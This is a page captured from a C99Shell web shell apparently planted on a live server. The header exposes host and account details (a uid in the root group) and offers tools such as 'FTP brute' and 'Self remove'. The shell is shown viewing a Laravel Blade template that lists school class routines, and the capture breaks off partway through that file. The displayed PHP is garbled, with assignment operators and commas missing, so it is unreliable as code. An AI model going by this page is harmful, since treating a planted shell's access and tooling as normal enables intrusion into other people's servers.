!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/school.picotech.app/public_html/resources/views/teacher/routine/   drwxr-xr-x
Free 28.78 GB of 117.98 GB (24.39%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     routine_list.blade.php (62.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 

use App\Models\Routine;
use 
App\Models\Session;
use 
App\Models\Section;
use 
App\Models\Subject;
use 
App\Models\User;
use 
App\Models\ClassRoom;

$active_session get_school_settings(auth()->user()->school_id)->value('running_session');

?>

@extends('teacher.navigation')
   
@section('content')
<div class="mainSection-title">
    <div class="row">
        <div class="col-12">
            <div class="d-flex justify-content-between align-items-center">
                <h4>{{ get_phrase('Routines') }}</h4>
            </div>
        </div>
    </div>
</div>
<div class="row">
    <div class="col-12">
        <div class="eSection-wrap-2">

            <form method="GET" class="d-block ajaxForm" action="{{ route('teacher.routine.routine_list') }}">
                <div class="row mt-3">

                    <div class="col-md-3"></div>

                    <div class="col-md-2">
                        <select name="class_id" id="class_id" class="form-select eForm-select eChoice-multiple-with-remove" required onchange="classWiseSection(this.value)">
                            <option value="">{{ get_phrase('Select a class') }}</option>
                            @foreach($classes as $class)
                                 <option value="{{ $class->id }}" {{ $class_id == $class->id ?  'selected':'' }}>{{ $class->name }}</option>
                            @endforeach
                        </select>
                    </div>

                    <div class="col-md-3">
                        <select name="section_id" id="section_id" class="form-select eForm-select eChoice-multiple-with-remove" required >
                            <?php $sections Section::where(['class_id' => $class_id])->get(); ?>
                            <?php foreach($sections as $section): ?>
                                <option value="{{ $section->id }}" {{ $section_id == $section->id ?  'selected':'' }}>{{ $section->name }}</option>
                            <?php endforeach; ?>
                        </select>
                    </div>

                    <div class="col-md-2">
                        <button class="eBtn eBtn btn-secondary" type="submit" id = "filter_routine">{{ get_phrase('Filter') }}</button>
                    </div>
                    <div class="col-md-2">
                      <div class="position-relative">
                        <button class="eBtn-3 dropdown-toggle float-end" type="button" id="defaultDropdown" data-bs-toggle="dropdown" data-bs-auto-close="true" aria-expanded="false">
                          <span class="pr-10">
                            <svg xmlns="http://www.w3.org/2000/svg" width="12.31" height="10.77" viewBox="0 0 10.771 12.31">
                              <path id="arrow-right-from-bracket-solid" d="M3.847,1.539H2.308a.769.769,0,0,0-.769.769V8.463a.769.769,0,0,0,.769.769H3.847a.769.769,0,0,1,0,1.539H2.308A2.308,2.308,0,0,1,0,8.463V2.308A2.308,2.308,0,0,1,2.308,0H3.847a.769.769,0,1,1,0,1.539Zm8.237,4.39L9.007,9.007A.769.769,0,0,1,7.919,7.919L9.685,6.155H4.616a.769.769,0,0,1,0-1.539H9.685L7.92,2.852A.769.769,0,0,1,9.008,1.764l3.078,3.078A.77.77,0,0,1,12.084,5.929Z" transform="translate(0 12.31) rotate(-90)" fill="#00a3ff"></path>
                            </svg>
                          </span>
                          {{ get_phrase('Export') }}
                        </button>
                        <ul class="dropdown-menu dropdown-menu-end eDropdown-menu-2">
                          <li>
                              <a class="dropdown-item" id="pdf" href="javascript:;" onclick="Export()">{{ get_phrase('PDF') }}</a>
                          </li>
                          <li>
                              <a class="dropdown-item" id="print" href="javascript:;" onclick="printableDiv('class_routine_content')">{{ get_phrase('Print') }}</a>
                          </li>
                        </ul>
                      </div>
                    </div>

                    <div class="card-body class_routine_content mt-2" id="class_routine_content">
                        <ul class="class_routine_contents">
                            <li class="classRoutines-item d-flex align-items-center">
                              <h4 class="title">{{ get_phrase('Saturday') }}</h4>
                              <div class="classTime-items d-flex">
                                <?php $perday_routines Routine::where(['class_id' => $class_id'section_id' => $section_id'session_id' => $active_session,'school_id' => auth()->user()->school_id'day' => 'saturday'])->get();
                                foreach(
$perday_routines as $perday_routine) { ?>
                                <div class="classTime-item">
                                  <?php $subject Subject::find($perday_routine['subject_id']); ?>
                                  <h4 class="subjectName">{{ $subject->name }}</h4>
                                  <ul class="classDetails">
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="16.03"
                                          height="16.03"
                                          viewBox="0 0 11.777 11.777"
                                        >
                                          <path
                                            id="schedule_FILL0_wght600_GRAD0_opsz24"
                                            d="M8.679,9.634a.605.605,0,0,0,.464.2.674.674,0,0,0,.492-.211.679.679,0,0,0,0-.956L8.088,7.119V5.306A.641.641,0,0,0,7.9,4.834a.658.658,0,0,0-.485-.189.643.643,0,0,0-.485.2.662.662,0,0,0-.19.478V7.372a.787.787,0,0,0,.056.3.7.7,0,0,0,.155.239ZM7.414,13.3a5.724,5.724,0,0,1-2.3-.464,5.909,5.909,0,0,1-3.12-3.12,5.724,5.724,0,0,1-.464-2.3,5.724,5.724,0,0,1,.464-2.3,5.909,5.909,0,0,1,3.12-3.12,5.724,5.724,0,0,1,2.3-.464,5.724,5.724,0,0,1,2.3.464,5.9,5.9,0,0,1,3.12,3.12,5.724,5.724,0,0,1,.464,2.3,5.724,5.724,0,0,1-.464,2.3,5.9,5.9,0,0,1-3.12,3.12A5.724,5.724,0,0,1,7.414,13.3Zm0-5.889Zm0,4.4a4.253,4.253,0,0,0,3.113-1.279,4.234,4.234,0,0,0,1.286-3.12,4.234,4.234,0,0,0-1.286-3.12A4.253,4.253,0,0,0,7.414,3.015,4.251,4.251,0,0,0,4.3,4.294a4.233,4.233,0,0,0-1.286,3.12A4.233,4.233,0,0,0,4.3,10.534,4.251,4.251,0,0,0,7.414,11.813Z"
                                            transform="translate(-1.525 -1.525)"
                                            fill="#00A3FF"
                                          />
                                        </svg>
                                      </div>
                                      <p class="info">{{ $perday_routine['starting_hour'].':'.$perday_routine['starting_minute'].' - '.$perday_routine['ending_hour'].':'.$perday_routine['ending_minute'] }}</p>
                                    </li>
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="11.33"
                                          height="14.71"
                                          viewBox="0 0 13.275 14.944"
                                        >
                                          <g
                                            id="user_icon"
                                            data-name="user icon"
                                            transform="translate(-1368.531 -147.15)"
                                          >
                                            <g
                                              id="Ellipse_1"
                                              data-name="Ellipse 1"
                                              transform="translate(1370.609 147.15)"
                                              fill="none"
                                              stroke="#00A3FF"
                                              stroke-width="2"
                                            >
                                              <ellipse
                                                cx="4.576"
                                                cy="4.435"
                                                rx="4.576"
                                                ry="4.435"
                                                stroke="none"
                                              />
                                              <ellipse
                                                cx="4.576"
                                                cy="4.435"
                                                rx="3.576"
                                                ry="3.435"
                                                fill="none"
                                              />
                                            </g>
                                            <path
                                              id="Path_41"
                                              data-name="Path 41"
                                              d="M1485.186,311.087a5.818,5.818,0,0,1,5.856-4.283,5.534,5.534,0,0,1,5.466,4.283"
                                              transform="translate(-115.686 -149.241)"
                                              fill="none"
                                              stroke="#00A3FF"
                                              stroke-width="2"
                                            />
                                          </g>
                                        </svg>
                                      </div>
                                      <?php $teacher User::find($perday_routine['teacher_id']); ?>
                                      <p class="info">{{ $teacher->name }}</p>
                                    </li>
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="18.641"
                                          height="16.589"
                                          viewBox="0 0 18.641 16.589"
                                        >
                                          <path
                                            id="house_FILL0_wght400_GRAD0_opsz48"
                                            d="M13.263,23.089H8.311a.72.72,0,0,1-.743-.743v-7.18H5.563a.35.35,0,0,1-.347-.235.329.329,0,0,1,.1-.409L14.006,6.7a.718.718,0,0,1,.99,0l4.457,3.937V8.481a.72.72,0,0,1,.743-.743h.5a.72.72,0,0,1,.743.743v3.986l2.253,2.055a.363.363,0,0,1-.248.644H21.434v7.18a.72.72,0,0,1-.743.743H15.739V17.146H13.263ZM9.054,21.6h2.724V16.4a.72.72,0,0,1,.743-.743h3.961a.72.72,0,0,1,.743.743v5.2h2.724V13.16L14.5,8.208,9.054,13.16ZM12.4,12.937h4.209a1.689,1.689,0,0,0-.631-1.349,2.3,2.3,0,0,0-2.946,0A1.689,1.689,0,0,0,12.4,12.937Zm.124,2.724h0Z"
                                            transform="translate(-5.183 -6.5)"
                                            fill="#00a3ff"
                                          />
                                        </svg>
                                      </div>
                                      <?php $class_room ClassRoom::find($perday_routine['room_id']); ?>
                                      <p class="info">{{ $class_room->name }}</p>
                                    </li>
                                  </ul>
                                </div>
                                <?php ?>
                                </div>
                                </li>
                                <li class="classRoutines-item d-flex align-items-center">
                                <h4 class="title">{{ get_phrase('Sunday') }}</h4>
                                <div class="classTime-items d-flex">
                                <?php $perday_routines Routine::where(['class_id' => $class_id'section_id' => $section_id'session_id' => $active_session,'school_id' => auth()->user()->school_id'day' => 'sunday'])->get();
                                foreach(
$perday_routines as $perday_routine) { ?>
                                <div class="classTime-item">
                                  <?php $subject Subject::find($perday_routine['subject_id']); ?>
                                  <h4 class="subjectName">{{ $subject->name }}</h4>
                                  <ul class="classDetails">
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="16.03"
                                          height="16.03"
                                          viewBox="0 0 11.777 11.777"
                                        >
                                          <path
                                            id="schedule_FILL0_wght600_GRAD0_opsz24"
                                            d="M8.679,9.634a.605.605,0,0,0,.464.2.674.674,0,0,0,.492-.211.679.679,0,0,0,0-.956L8.088,7.119V5.306A.641.641,0,0,0,7.9,4.834a.658.658,0,0,0-.485-.189.643.643,0,0,0-.485.2.662.662,0,0,0-.19.478V7.372a.787.787,0,0,0,.056.3.7.7,0,0,0,.155.239ZM7.414,13.3a5.724,5.724,0,0,1-2.3-.464,5.909,5.909,0,0,1-3.12-3.12,5.724,5.724,0,0,1-.464-2.3,5.724,5.724,0,0,1,.464-2.3,5.909,5.909,0,0,1,3.12-3.12,5.724,5.724,0,0,1,2.3-.464,5.724,5.724,0,0,1,2.3.464,5.9,5.9,0,0,1,3.12,3.12,5.724,5.724,0,0,1,.464,2.3,5.724,5.724,0,0,1-.464,2.3,5.9,5.9,0,0,1-3.12,3.12A5.724,5.724,0,0,1,7.414,13.3Zm0-5.889Zm0,4.4a4.253,4.253,0,0,0,3.113-1.279,4.234,4.234,0,0,0,1.286-3.12,4.234,4.234,0,0,0-1.286-3.12A4.253,4.253,0,0,0,7.414,3.015,4.251,4.251,0,0,0,4.3,4.294a4.233,4.233,0,0,0-1.286,3.12A4.233,4.233,0,0,0,4.3,10.534,4.251,4.251,0,0,0,7.414,11.813Z"
                                            transform="translate(-1.525 -1.525)"
                                            fill="#00A3FF"
                                          />
                                        </svg>
                                      </div>
                                      <p class="info">{{ $perday_routine['starting_hour'].':'.$perday_routine['starting_minute'].' - '.$perday_routine['ending_hour'].':'.$perday_routine['ending_minute'] }}</p>
                                    </li>
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="11.33"
                                          height="14.71"
                                          viewBox="0 0 13.275 14.944"
                                        >
                                          <g
                                            id="user_icon"
                                            data-name="user icon"
                                            transform="translate(-1368.531 -147.15)"
                                          >
                                            <g
                                              id="Ellipse_1"
                                              data-name="Ellipse 1"
                                              transform="translate(1370.609 147.15)"
                                              fill="none"
                                              stroke="#00A3FF"
                                              stroke-width="2"
                                            >
                                              <ellipse
                                                cx="4.576"
                                                cy="4.435"
                                                rx="4.576"
                                                ry="4.435"
                                                stroke="none"
                                              />
                                              <ellipse
                                                cx="4.576"
                                                cy="4.435"
                                                rx="3.576"
                                                ry="3.435"
                                                fill="none"
                                              />
                                            </g>
                                            <path
                                              id="Path_41"
                                              data-name="Path 41"
                                              d="M1485.186,311.087a5.818,5.818,0,0,1,5.856-4.283,5.534,5.534,0,0,1,5.466,4.283"
                                              transform="translate(-115.686 -149.241)"
                                              fill="none"
                                              stroke="#00A3FF"
                                              stroke-width="2"
                                            />
                                          </g>
                                        </svg>
                                      </div>
                                      <?php $teacher User::find($perday_routine['teacher_id']); ?>
                                      <p class="info">{{ $teacher->name }}</p>
                                    </li>
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="18.641"
                                          height="16.589"
                                          viewBox="0 0 18.641 16.589"
                                        >
                                          <path
                                            id="house_FILL0_wght400_GRAD0_opsz48"
                                            d="M13.263,23.089H8.311a.72.72,0,0,1-.743-.743v-7.18H5.563a.35.35,0,0,1-.347-.235.329.329,0,0,1,.1-.409L14.006,6.7a.718.718,0,0,1,.99,0l4.457,3.937V8.481a.72.72,0,0,1,.743-.743h.5a.72.72,0,0,1,.743.743v3.986l2.253,2.055a.363.363,0,0,1-.248.644H21.434v7.18a.72.72,0,0,1-.743.743H15.739V17.146H13.263ZM9.054,21.6h2.724V16.4a.72.72,0,0,1,.743-.743h3.961a.72.72,0,0,1,.743.743v5.2h2.724V13.16L14.5,8.208,9.054,13.16ZM12.4,12.937h4.209a1.689,1.689,0,0,0-.631-1.349,2.3,2.3,0,0,0-2.946,0A1.689,1.689,0,0,0,12.4,12.937Zm.124,2.724h0Z"
                                            transform="translate(-5.183 -6.5)"
                                            fill="#00a3ff"
                                          />
                                        </svg>
                                      </div>
                                      <?php $class_room ClassRoom::find($perday_routine['room_id']); ?>
                                      <p class="info">{{ $class_room->name }}</p>
                                    </li>
                                  </ul>
                                </div>
                                <?php ?>
                                </div>
                                </li>
                                <li class="classRoutines-item d-flex align-items-center">
                                <h4 class="title">{{ get_phrase('Monday') }}</h4>
                                <div class="classTime-items d-flex">
                                <?php $perday_routines Routine::where(['class_id' => $class_id'section_id' => $section_id'session_id' => $active_session,'school_id' => auth()->user()->school_id'day' => 'monday'])->get();
                                foreach(
$perday_routines as $perday_routine) { ?>
                                <div class="classTime-item">
                                  <?php $subject Subject::find($perday_routine['subject_id']); ?>
                                  <h4 class="subjectName">{{ $subject->name }}</h4>
                                  <ul class="classDetails">
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="16.03"
                                          height="16.03"
                                          viewBox="0 0 11.777 11.777"
                                        >
                                          <path
                                            id="schedule_FILL0_wght600_GRAD0_opsz24"
                                            d="M8.679,9.634a.605.605,0,0,0,.464.2.674.674,0,0,0,.492-.211.679.679,0,0,0,0-.956L8.088,7.119V5.306A.641.641,0,0,0,7.9,4.834a.658.658,0,0,0-.485-.189.643.643,0,0,0-.485.2.662.662,0,0,0-.19.478V7.372a.787.787,0,0,0,.056.3.7.7,0,0,0,.155.239ZM7.414,13.3a5.724,5.724,0,0,1-2.3-.464,5.909,5.909,0,0,1-3.12-3.12,5.724,5.724,0,0,1-.464-2.3,5.724,5.724,0,0,1,.464-2.3,5.909,5.909,0,0,1,3.12-3.12,5.724,5.724,0,0,1,2.3-.464,5.724,5.724,0,0,1,2.3.464,5.9,5.9,0,0,1,3.12,3.12,5.724,5.724,0,0,1,.464,2.3,5.724,5.724,0,0,1-.464,2.3,5.9,5.9,0,0,1-3.12,3.12A5.724,5.724,0,0,1,7.414,13.3Zm0-5.889Zm0,4.4a4.253,4.253,0,0,0,3.113-1.279,4.234,4.234,0,0,0,1.286-3.12,4.234,4.234,0,0,0-1.286-3.12A4.253,4.253,0,0,0,7.414,3.015,4.251,4.251,0,0,0,4.3,4.294a4.233,4.233,0,0,0-1.286,3.12A4.233,4.233,0,0,0,4.3,10.534,4.251,4.251,0,0,0,7.414,11.813Z"
                                            transform="translate(-1.525 -1.525)"
                                            fill="#00A3FF"
                                          />
                                        </svg>
                                      </div>
                                      <p class="info">{{ $perday_routine['starting_hour'].':'.$perday_routine['starting_minute'].' - '.$perday_routine['ending_hour'].':'.$perday_routine['ending_minute'] }}</p>
                                    </li>
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="11.33"
                                          height="14.71"
                                          viewBox="0 0 13.275 14.944"
                                        >
                                          <g
                                            id="user_icon"
                                            data-name="user icon"
                                            transform="translate(-1368.531 -147.15)"
                                          >
                                            <g
                                              id="Ellipse_1"
                                              data-name="Ellipse 1"
                                              transform="translate(1370.609 147.15)"
                                              fill="none"
                                              stroke="#00A3FF"
                                              stroke-width="2"
                                            >
                                              <ellipse
                                                cx="4.576"
                                                cy="4.435"
                                                rx="4.576"
                                                ry="4.435"
                                                stroke="none"
                                              />
                                              <ellipse
                                                cx="4.576"
                                                cy="4.435"
                                                rx="3.576"
                                                ry="3.435"
                                                fill="none"
                                              />
                                            </g>
                                            <path
                                              id="Path_41"
                                              data-name="Path 41"
                                              d="M1485.186,311.087a5.818,5.818,0,0,1,5.856-4.283,5.534,5.534,0,0,1,5.466,4.283"
                                              transform="translate(-115.686 -149.241)"
                                              fill="none"
                                              stroke="#00A3FF"
                                              stroke-width="2"
                                            />
                                          </g>
                                        </svg>
                                      </div>
                                      <?php $teacher User::find($perday_routine['teacher_id']); ?>
                                      <p class="info">{{ $teacher->name }}</p>
                                    </li>
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="18.641"
                                          height="16.589"
                                          viewBox="0 0 18.641 16.589"
                                        >
                                          <path
                                            id="house_FILL0_wght400_GRAD0_opsz48"
                                            d="M13.263,23.089H8.311a.72.72,0,0,1-.743-.743v-7.18H5.563a.35.35,0,0,1-.347-.235.329.329,0,0,1,.1-.409L14.006,6.7a.718.718,0,0,1,.99,0l4.457,3.937V8.481a.72.72,0,0,1,.743-.743h.5a.72.72,0,0,1,.743.743v3.986l2.253,2.055a.363.363,0,0,1-.248.644H21.434v7.18a.72.72,0,0,1-.743.743H15.739V17.146H13.263ZM9.054,21.6h2.724V16.4a.72.72,0,0,1,.743-.743h3.961a.72.72,0,0,1,.743.743v5.2h2.724V13.16L14.5,8.208,9.054,13.16ZM12.4,12.937h4.209a1.689,1.689,0,0,0-.631-1.349,2.3,2.3,0,0,0-2.946,0A1.689,1.689,0,0,0,12.4,12.937Zm.124,2.724h0Z"
                                            transform="translate(-5.183 -6.5)"
                                            fill="#00a3ff"
                                          />
                                        </svg>
                                      </div>
                                      <?php $class_room ClassRoom::find($perday_routine['room_id']); ?>
                                      <p class="info">{{ $class_room->name }}</p>
                                    </li>
                                  </ul>
                                </div>
                                <?php ?>
                                </div>
                                </li>
                                <li class="classRoutines-item d-flex align-items-center">
                                <h4 class="title">{{ get_phrase('Tuesday') }}</h4>
                                <div class="classTime-items d-flex">
                                <?php $perday_routines Routine::where(['class_id' => $class_id'section_id' => $section_id'session_id' => $active_session,'school_id' => auth()->user()->school_id'day' => 'tuesday'])->get();
                                foreach(
$perday_routines as $perday_routine) { ?>
                                <div class="classTime-item">
                                  <?php $subject Subject::find($perday_routine['subject_id']); ?>
                                  <h4 class="subjectName">{{ $subject->name }}</h4>
                                  <ul class="classDetails">
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="16.03"
                                          height="16.03"
                                          viewBox="0 0 11.777 11.777"
                                        >
                                          <path
                                            id="schedule_FILL0_wght600_GRAD0_opsz24"
                                            d="M8.679,9.634a.605.605,0,0,0,.464.2.674.674,0,0,0,.492-.211.679.679,0,0,0,0-.956L8.088,7.119V5.306A.641.641,0,0,0,7.9,4.834a.658.658,0,0,0-.485-.189.643.643,0,0,0-.485.2.662.662,0,0,0-.19.478V7.372a.787.787,0,0,0,.056.3.7.7,0,0,0,.155.239ZM7.414,13.3a5.724,5.724,0,0,1-2.3-.464,5.909,5.909,0,0,1-3.12-3.12,5.724,5.724,0,0,1-.464-2.3,5.724,5.724,0,0,1,.464-2.3,5.909,5.909,0,0,1,3.12-3.12,5.724,5.724,0,0,1,2.3-.464,5.724,5.724,0,0,1,2.3.464,5.9,5.9,0,0,1,3.12,3.12,5.724,5.724,0,0,1,.464,2.3,5.724,5.724,0,0,1-.464,2.3,5.9,5.9,0,0,1-3.12,3.12A5.724,5.724,0,0,1,7.414,13.3Zm0-5.889Zm0,4.4a4.253,4.253,0,0,0,3.113-1.279,4.234,4.234,0,0,0,1.286-3.12,4.234,4.234,0,0,0-1.286-3.12A4.253,4.253,0,0,0,7.414,3.015,4.251,4.251,0,0,0,4.3,4.294a4.233,4.233,0,0,0-1.286,3.12A4.233,4.233,0,0,0,4.3,10.534,4.251,4.251,0,0,0,7.414,11.813Z"
                                            transform="translate(-1.525 -1.525)"
                                            fill="#00A3FF"
                                          />
                                        </svg>
                                      </div>
                                      <p class="info">{{ $perday_routine['starting_hour'].':'.$perday_routine['starting_minute'].' - '.$perday_routine['ending_hour'].':'.$perday_routine['ending_minute'] }}</p>
                                    </li>
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="11.33"
                                          height="14.71"
                                          viewBox="0 0 13.275 14.944"
                                        >
                                          <g
                                            id="user_icon"
                                            data-name="user icon"
                                            transform="translate(-1368.531 -147.15)"
                                          >
                                            <g
                                              id="Ellipse_1"
                                              data-name="Ellipse 1"
                                              transform="translate(1370.609 147.15)"
                                              fill="none"
                                              stroke="#00A3FF"
                                              stroke-width="2"
                                            >
                                              <ellipse
                                                cx="4.576"
                                                cy="4.435"
                                                rx="4.576"
                                                ry="4.435"
                                                stroke="none"
                                              />
                                              <ellipse
                                                cx="4.576"
                                                cy="4.435"
                                                rx="3.576"
                                                ry="3.435"
                                                fill="none"
                                              />
                                            </g>
                                            <path
                                              id="Path_41"
                                              data-name="Path 41"
                                              d="M1485.186,311.087a5.818,5.818,0,0,1,5.856-4.283,5.534,5.534,0,0,1,5.466,4.283"
                                              transform="translate(-115.686 -149.241)"
                                              fill="none"
                                              stroke="#00A3FF"
                                              stroke-width="2"
                                            />
                                          </g>
                                        </svg>
                                      </div>
                                      <?php $teacher User::find($perday_routine['teacher_id']); ?>
                                      <p class="info">{{ $teacher->name }}</p>
                                    </li>
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="18.641"
                                          height="16.589"
                                          viewBox="0 0 18.641 16.589"
                                        >
                                          <path
                                            id="house_FILL0_wght400_GRAD0_opsz48"
                                            d="M13.263,23.089H8.311a.72.72,0,0,1-.743-.743v-7.18H5.563a.35.35,0,0,1-.347-.235.329.329,0,0,1,.1-.409L14.006,6.7a.718.718,0,0,1,.99,0l4.457,3.937V8.481a.72.72,0,0,1,.743-.743h.5a.72.72,0,0,1,.743.743v3.986l2.253,2.055a.363.363,0,0,1-.248.644H21.434v7.18a.72.72,0,0,1-.743.743H15.739V17.146H13.263ZM9.054,21.6h2.724V16.4a.72.72,0,0,1,.743-.743h3.961a.72.72,0,0,1,.743.743v5.2h2.724V13.16L14.5,8.208,9.054,13.16ZM12.4,12.937h4.209a1.689,1.689,0,0,0-.631-1.349,2.3,2.3,0,0,0-2.946,0A1.689,1.689,0,0,0,12.4,12.937Zm.124,2.724h0Z"
                                            transform="translate(-5.183 -6.5)"
                                            fill="#00a3ff"
                                          />
                                        </svg>
                                      </div>
                                      <?php $class_room ClassRoom::find($perday_routine['room_id']); ?>
                                      <p class="info">{{ $class_room->name }}</p>
                                    </li>
                                  </ul>
                                </div>
                                <?php ?>
                                </div>
                                </li>
                                <li class="classRoutines-item d-flex align-items-center">
                                <h4 class="title">{{ get_phrase('Wednesday') }}</h4>
                                <div class="classTime-items d-flex">
                                <?php $perday_routines Routine::where(['class_id' => $class_id'section_id' => $section_id'session_id' => $active_session,'school_id' => auth()->user()->school_id'day' => 'wednesday'])->get();
                                foreach(
$perday_routines as $perday_routine) { ?>
                                <div class="classTime-item">
                                  <?php $subject Subject::find($perday_routine['subject_id']); ?>
                                  <h4 class="subjectName">{{ $subject->name }}</h4>
                                  <ul class="classDetails">
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="16.03"
                                          height="16.03"
                                          viewBox="0 0 11.777 11.777"
                                        >
                                          <path
                                            id="schedule_FILL0_wght600_GRAD0_opsz24"
                                            d="M8.679,9.634a.605.605,0,0,0,.464.2.674.674,0,0,0,.492-.211.679.679,0,0,0,0-.956L8.088,7.119V5.306A.641.641,0,0,0,7.9,4.834a.658.658,0,0,0-.485-.189.643.643,0,0,0-.485.2.662.662,0,0,0-.19.478V7.372a.787.787,0,0,0,.056.3.7.7,0,0,0,.155.239ZM7.414,13.3a5.724,5.724,0,0,1-2.3-.464,5.909,5.909,0,0,1-3.12-3.12,5.724,5.724,0,0,1-.464-2.3,5.724,5.724,0,0,1,.464-2.3,5.909,5.909,0,0,1,3.12-3.12,5.724,5.724,0,0,1,2.3-.464,5.724,5.724,0,0,1,2.3.464,5.9,5.9,0,0,1,3.12,3.12,5.724,5.724,0,0,1,.464,2.3,5.724,5.724,0,0,1-.464,2.3,5.9,5.9,0,0,1-3.12,3.12A5.724,5.724,0,0,1,7.414,13.3Zm0-5.889Zm0,4.4a4.253,4.253,0,0,0,3.113-1.279,4.234,4.234,0,0,0,1.286-3.12,4.234,4.234,0,0,0-1.286-3.12A4.253,4.253,0,0,0,7.414,3.015,4.251,4.251,0,0,0,4.3,4.294a4.233,4.233,0,0,0-1.286,3.12A4.233,4.233,0,0,0,4.3,10.534,4.251,4.251,0,0,0,7.414,11.813Z"
                                            transform="translate(-1.525 -1.525)"
                                            fill="#00A3FF"
                                          />
                                        </svg>
                                      </div>
                                      <p class="info">{{ $perday_routine['starting_hour'].':'.$perday_routine['starting_minute'].' - '.$perday_routine['ending_hour'].':'.$perday_routine['ending_minute'] }}</p>
                                    </li>
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="11.33"
                                          height="14.71"
                                          viewBox="0 0 13.275 14.944"
                                        >
                                          <g
                                            id="user_icon"
                                            data-name="user icon"
                                            transform="translate(-1368.531 -147.15)"
                                          >
                                            <g
                                              id="Ellipse_1"
                                              data-name="Ellipse 1"
                                              transform="translate(1370.609 147.15)"
                                              fill="none"
                                              stroke="#00A3FF"
                                              stroke-width="2"
                                            >
                                              <ellipse
                                                cx="4.576"
                                                cy="4.435"
                                                rx="4.576"
                                                ry="4.435"
                                                stroke="none"
                                              />
                                              <ellipse
                                                cx="4.576"
                                                cy="4.435"
                                                rx="3.576"
                                                ry="3.435"
                                                fill="none"
                                              />
                                            </g>
                                            <path
                                              id="Path_41"
                                              data-name="Path 41"
                                              d="M1485.186,311.087a5.818,5.818,0,0,1,5.856-4.283,5.534,5.534,0,0,1,5.466,4.283"
                                              transform="translate(-115.686 -149.241)"
                                              fill="none"
                                              stroke="#00A3FF"
                                              stroke-width="2"
                                            />
                                          </g>
                                        </svg>
                                      </div>
                                      <?php $teacher User::find($perday_routine['teacher_id']); ?>
                                      <p class="info">{{ $teacher->name }}</p>
                                    </li>
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="18.641"
                                          height="16.589"
                                          viewBox="0 0 18.641 16.589"
                                        >
                                          <path
                                            id="house_FILL0_wght400_GRAD0_opsz48"
                                            d="M13.263,23.089H8.311a.72.72,0,0,1-.743-.743v-7.18H5.563a.35.35,0,0,1-.347-.235.329.329,0,0,1,.1-.409L14.006,6.7a.718.718,0,0,1,.99,0l4.457,3.937V8.481a.72.72,0,0,1,.743-.743h.5a.72.72,0,0,1,.743.743v3.986l2.253,2.055a.363.363,0,0,1-.248.644H21.434v7.18a.72.72,0,0,1-.743.743H15.739V17.146H13.263ZM9.054,21.6h2.724V16.4a.72.72,0,0,1,.743-.743h3.961a.72.72,0,0,1,.743.743v5.2h2.724V13.16L14.5,8.208,9.054,13.16ZM12.4,12.937h4.209a1.689,1.689,0,0,0-.631-1.349,2.3,2.3,0,0,0-2.946,0A1.689,1.689,0,0,0,12.4,12.937Zm.124,2.724h0Z"
                                            transform="translate(-5.183 -6.5)"
                                            fill="#00a3ff"
                                          />
                                        </svg>
                                      </div>
                                      <?php $class_room ClassRoom::find($perday_routine['room_id']); ?>
                                      <p class="info">{{ $class_room->name }}</p>
                                    </li>
                                  </ul>
                                </div>
                                <?php ?>
                              </div>
                            </li>




                            <li class="classRoutines-item d-flex align-items-center">
                                <h4 class="title">{{ get_phrase('Thursday') }}</h4>
                                <div class="classTime-items d-flex">
                                <?php $perday_routines Routine::where(['class_id' => $class_id'section_id' => $section_id'session_id' => $active_session,'school_id' => auth()->user()->school_id'day' => 'thursday'])->get();
                                foreach(
$perday_routines as $perday_routine) { ?>
                                <div class="classTime-item">
                                  <?php $subject Subject::find($perday_routine['subject_id']); ?>
                                  <h4 class="subjectName">{{ $subject->name }}</h4>
                                  <ul class="classDetails">
                                    <li
